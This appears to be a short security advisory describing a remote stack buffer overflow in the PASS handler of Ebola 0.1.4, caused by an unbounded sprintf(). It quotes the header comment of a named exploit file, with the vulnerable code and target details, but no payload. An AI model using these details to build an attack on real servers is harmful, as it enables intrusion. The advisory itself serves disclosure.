It has been reported that a buffer overflow condition is present in the authentication mechanism implemented in Ebola. The condition is due to the use of the C library function sprintf() to construct an error message when authentication is not successful. According to the discoverer of this flaw, the vulnerability is remotely exploitable. 

/* 0x333ebola.c => ebola 0.1.4 remote exploit
 *
 *   [-3-] __ OUTSIDERS VIRTUAL SECURITY LABS __ [-3-]
 *
 *    Ebola 0.1.4 remote stack overflow exploit,
 *    bug found by "Secure Network Operations".
 *
 *    Here the bugged code :
 *
 *    [...]
 *    int handle_PASS( int ssocket, char *sentline ){
 *
 *      char *passwd;
 *      char outstr[100];
 *
 *    [...]
 *         else {
 *            sprintf(outstr,"PASS NOT ACCEPTED for user \"%s\", pass \"%s\".\n",username,passwd);
 *            write(ssocket,outstr,strlen(outstr));
 *            sleep(_BAD_PASS_SLEEP_TIME);
 *        }
 *    [...]
 *
 *    Technical details :
 *
 *    - system   : Red Hat Linux 8.0
 *    - package  : ebola-0.1.4.tar.gz (from : http://pldaniels.com/ebola/)
 *    - requires : libsavi (libsavi.so.3.2.07.031) (from http://www.sophos.com)
 *
 *   Note : the exploit is unstable.
